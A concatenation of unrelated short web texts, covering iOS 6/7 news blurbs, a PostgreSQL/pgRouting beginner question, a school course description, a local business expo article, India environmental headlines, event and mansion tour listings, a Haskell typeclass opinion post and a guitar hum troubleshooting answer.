Ryan, for one, insists that his emphasis on the elementary stuff is progressive in its own way. "If you make a better pass than you were making last week," he said, "I think that's innovation."
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The transition to Apple Maps is rough, but new features and a ton of tiny tweaks make iOS 6 a must-have update.
Pricing not available
Details have surfaced regarding the next iterations of Apple's mobile operating system.
But iOS 7's FaceTime integration seems to be working just fine for most users.
Apple's built-in update tool is downloading iOS 7 before people even ask to install it, taking up space that can't be reclaimed.
A developer has released an image of a jailbroken iPhone 5 running the latest version of iOS 6, likely to be superseded by iOS 7 very soon.
In the past, you could pull off this maneuver right on your phone. Now, it requires a trip to iTunes. Find out where in iTunes you need to go to hide and unhide apps from your purchased list.
The Defense Department will be allowed to distribute iPhones and iPads with Apple's iOS 6 to employees, though that doesn't guarantee Apple will actually receive contracts.
The latest update for the iPhone 5 is here, but be warned, it's not exactly revolutionary.
New update changes the speakerphone audio profile but brings no other modifications.
It's an epic battle between bitter rivals for mobile OS supremacy. Will Apple's ecosystem and ease of use take out Android's customization and feature set? Find out!


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I have followed these instructions to install postgresql and pgrouting on our ubuntu server:
I am working with united_kingdom.highway.osm, It all seemed to go ok.
I have pgAdminIII on my windows machine, and can connect to my postgresql db and I see the tables: geometry_columns, planet_osm_line, planet_osm_nodes, planet_osm_point, planet_osm_polygon, planet_osm_rels, planet_osm_roads, planet_osm_ways, spatial_ref_sys.
Now, I have not done anything with postgresql before, and I am looking for the simplest possible way of getting something out to show it is working, like finding the distance beween two uk points.
Any help appriciated
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PTI112: Graph AB (2013-2014)
CURRICULUM PROGRAM: Career and Technical Education
COURSE TITLE: Graphics Comm AB
COURSE LENGTH: 18 weeks
Major Concepts/Content: The Introduction to Graphic Communications course is designed to provide students in grades 7 through 8 with exploratory and investigative activities in offset lithography, photographic processes, book binding, pad binding, and paper making. The content includes, but is not limited to, building awareness of career opportunities associated with graphic communications; measuring in inches, millimeters, and picas; identifying the historical development of graphic communications materials and processes; utilizing basic numerical, communication, and interpersonal skills generally used in the world of work; and learning to value the personal and social significance of work.
Major Instructional Activities: Instructional activities will be provided in the general graphics laboratory setting using hands-on experiences with graphic tools, equipment, and materials related to the course content. Students will plan, design, and construct projects that involved utilizing office duplicating processes; creating screen process prints, and cold composition and planographic printing. Students will investigate content-related occupations, make visits to libraries and graphic industries, present ideas and information orally and in writing, assume leadership roles with the framework of the classroom setting, and develop decision-making skills that will enable students to react successfully to change.
Major Evaluative Techniques: Graphic projects will be evaluated for completeness, neatness, accuracy, and application of all the concepts utilized in developing the project. Written and oral reports will be evaluated for content and form. Class participation will be evaluated utilizing areas such as works conscientiously on assigned projects, uses graphic tools properly, assists others, works independently, offers solutions to problems, and completes projects.
Course Objectives: Upon completion of the graphic communication course, students should be able to:
- Evaluate and explore careers related to graphic production and design.
- Utilize safe and appropriate work habits.
- Apply incremental and absolute measurement.
- Explore design elements and principals of various graphic applications.
- Complete graphic design models to fit specific needs and requirements.


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STEUBENVILLE - Local businesses can get facetime with the buying public during the Jefferson County Chamber of Commerce's 13th-annual Business Expo set Feb. 23-24 at the Fort Steuben Mall.
Chamber President Sue Hershey said the expo is designed to help businesses cultivate contacts.
"In the past, so many people have said they'd generated numerous clients, visits to their showrooms and businesses and appointments because of the expo," she said.
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FOCUS ON BUSINESS — The annual Jefferson County Chamber of Commerce Business Expo is planned Feb. 23-24 at the Fort Steuben Mall, and it's a chance for members and non-members alike to interact with the buying public. The 2012 expo drew dozens of area businesses, including Jefferson Landmark, shown above preparing for the event. -- Contributed
The expo will run from 10 a.m. to 6 p.m. on Feb. 23 and from noon to 3 p.m. on Feb. 24. Fees are $200 for non-members and $100 for chamber members, which includes an 8-foot table and two chairs. Additional spaces are available for $50.
Hershey said they typically have as many as 40 businesses participating.
"It's not limited to chamber members," she said. "Although the registration fee is considerably discounted for chamber members, it's available for both chamber members and non-members."
Participation typically runs the gamut from schools and contractors to tree services, hospice services and restaurants, she said. "There's just always been a good variety," Hershey said. "The expo gives the business community an opportunity to display their products and services to the general public. (And) being that it's at center court in the Fort Steuben Mall, it's an ideal venue for businesses and organizations that want to set up a table and interact with the general public."
For information, call the chamber at (740) 282-6226.


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Vijay Prashad
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4th July 2014In modern India any form of dissent from the neoliberal corporate model of development is being criminalised, writes Kumar Sundaram. Opponents of nuclear power, coal mines, GMOs, giant dams, are all under attack as enemies of the state and a threat to economic growth. more...
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1st August 2014A social solidarity movement is transforming the lives of millions of poor women in Kerala, south India, writes P. Sainath - and among the greatest beneficiaries are indigenous adivasi women who dwell deep in the the forests, and their historically marginalized communities. more...
India: Coca Cola bottling plant shut down
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Cremate Monsanto!
Heathcote Williams
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India rising to sustainable energy challenge
Chhavi Sharma
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29th January 2014Local authorities in Varanasi, India, are preparing to evict Coca-Cola from land that the company is occupying illegally at its bottling plant in Mehdiganj. The eviction is due to take place 'within days'. more...
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EAST PEORIA —History, humor and the holiday come to life as the Illinois Central College Guest Artists Series presents The Night Before Christmas Carol at 7:30 p.m. Dec. 21, at 7:30 p.m., in the ICC Performing Arts Center, East Peoria.
The Night Before Christmas Carol is a theatrical performance which studies author Charles Dickens and gives personal, social and historical context to his classic tale, A Christmas Carol.
Dr. Eliot Engel, a Dickens scholar and author, wrote this show in which actor David zum Brunnen brings to life Charles Dickens and 17 familiar characters on stage.
Tickets cost $15 for the general public and $10 for students. To purchase tickets or for more information, visit www.ArtsAtICC.com, or call the box office at 694-5136.
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The New York State Executive Mansion is located on Eagle Street in downtown Albany. Since 1875, this house has been home to New York's governors and their families. It is a house that is eclectic in style, filled with history and rich with tradition. It remains a fitting symbol of the variety and greatness of the Empire State.
Visit the Governor's Executive Mansion website for more information, including a video tour of the Executive Mansion, and historical photos.
SCHEDULE: Tours of the Mansion are offered September through June on Thursdays at 10:00 and 11:00 a.m., 12:00, 1:00, and 2:00 p.m. to groups of 10 or more, up to a maximum of 30 visitors (including chaperones).
RESERVATIONS: Reservations are required and must be made at least two weeks in advance. To schedule a tour, please call the Curatorial/Tour Services Office at 518.474.2418.
SPECIAL RULE: Photo identification is required for all adults.
COST: Tours are free of charge.
LOCATION: Tours begin at the front center gate of the Mansion, 138 Eagle Street, Albany.
LENGTH: Tours last approximately one hour.
ACCESSIBILITY: The Executive Mansion is fully accessible for persons with disabilities. Please inform us of any special needs when making your reservation.
ARRIVAL: Please plan to arrive 5 minutes prior to the starting time of your tour. If you are going to be late, or must cancel a tour, kindly notify the Curatorial/Tour Services Office.
DIRECTIONS and PARKING: The New York Executive Mansion is a short walking distance from the Empire State Plaza. Starting on Madison Avenue in front of the State Museum, walk down the street to the Cathedral of the Immaculate Conception and turn right onto Eagle Street. Entrance to the Mansion is through the front center (pedestrian) gate. Parking is not available at the Executive Mansion. Buses may unload passengers at the front gate.
General TourThe general tour takes the visitor on a journey through the Mansion, examining its roles as both an official residence and a private home to New York's governors and their families. Tour discussion focuses on past and present New York State governors, architectural history, furnishings and artwork, and the Mansions present existence as a LEED-certified building.
Student Tour
The student tour focuses on four key periods in the Mansions history: the Victorian era, 1920s to the mid-1930s, 1960s to the present, and the 21st Century. Through the use of artifacts, furnishings and art, students will explore the Executive Mansions significance to the culture and history of New York State. The tour culminates with a discussion about the Executive Mansion in the 21st century, including the importance of sustainable living and the Mansions LEED-Gold certification.
Pre-Visit Resource Kit For Teachers: Teachers who plan to bring their classes to the Executive Mansion are encouraged to download and use the Mansion Tour Program Resource Kit. The kit provides information and activities designed to enhance the tour experience for the students.


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After about five years programming in Haskell, I think we need a rule: Only put one function in a typeclass.
Why? Because inevitably someone comes along with a data type for which one or the other function of a typeclass is perfectly suited, and yet another function of the same typeclass is not implementable.
Here are some examples of consequences of breaking the rule:
- The Infamous Set Monad, which requires splitting Monad in half. (Monad)
- All of the abstract ways to construct Nothing: fail (Monad), mempty (Monoid), mzero (MonadPlus), empty (Alternative). Not surprisingly, all of these typeclasses are subtly related.
- The natural numbers, which have a minBound, but not a maxBound (Bounded) . . .
- . . . and which support addition and multiplication, but aren't closed under subtraction and for which the concept of a sign does not exist (Num).
- My own memoizable message type, which would like to implement Applicative, but needs a monadic computation to implement pure. (Applicative)
It's a little extra typing to write multiple "class . . . where" clauses for each type that needs to implement a large number of type-indexed functions, but it's quite easy to combine related typeclasses when appropriate, as follows:
class Foo a where foo :: a -> b class Bar a where bar :: a -> b class (Foo a,Bar a) => FooBar a where {this space intentionally left blank}
In conclusion, you should definitely follow this rule if I have convinced you that it is a good idea to follow it.


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When I connect my Yamaha Pacifica guitar to Vox DA 5 amp and connect the amp to the M audio 2496 sound card input by taking the output from the Vox phones output, I get a hum while playing the bass strings and recording it in the software. How to rectify this problem?
It sounds like you are saturating ("peaking") the signal.
Turn down the volume on the amp and adjust the input volume on the 2496 so that the meters in your recording software never show the input signal in the red.
Play hard on the guitar, to ensure you are testing actual playing levels rather than just plucking notes while testing the input volume. Some notes will peak the input more than others (some chords as well).
There are very basic stages to recording: 1) getting good samples ("clean" signals); 2) mixing those clean signals to the volume you want for the end result.
Hum is typically caused by ground loops, i.e. multiple points where the signal chain is grounded. By far the best way of dealing with this is to use balanced inputs and outputs everywhere but the manuals of your gear didn't say and I doubt it's balanced. The second best way to get rid of hum is to use an isolation transformer or direct box with a ground lift between the amp and the sound card. Something like this http://audiopile.net/products/DI_Boxes/FDB-101/FDB-101_cutsheet.shtml (disclaimer: I'm not affiliated with the company in any way, but consider them an excellent source) with the right adapters to make it work. It's also possible that the power supply of the host computer isn't that great. That's easy to to test by recording from a different source and see if that's clean. A good choice for a recording test is an battery powered player such an IPod, since there is no possibility of a ground loop.


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One rescuer says hoarding has less to do with many animals than with abuse. So is it time to redefine a horse hoarder?
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California Horse Abandonment Probed
California animal welfare authorities are seeking whoever abandoned an emaciated horse near a rural road.
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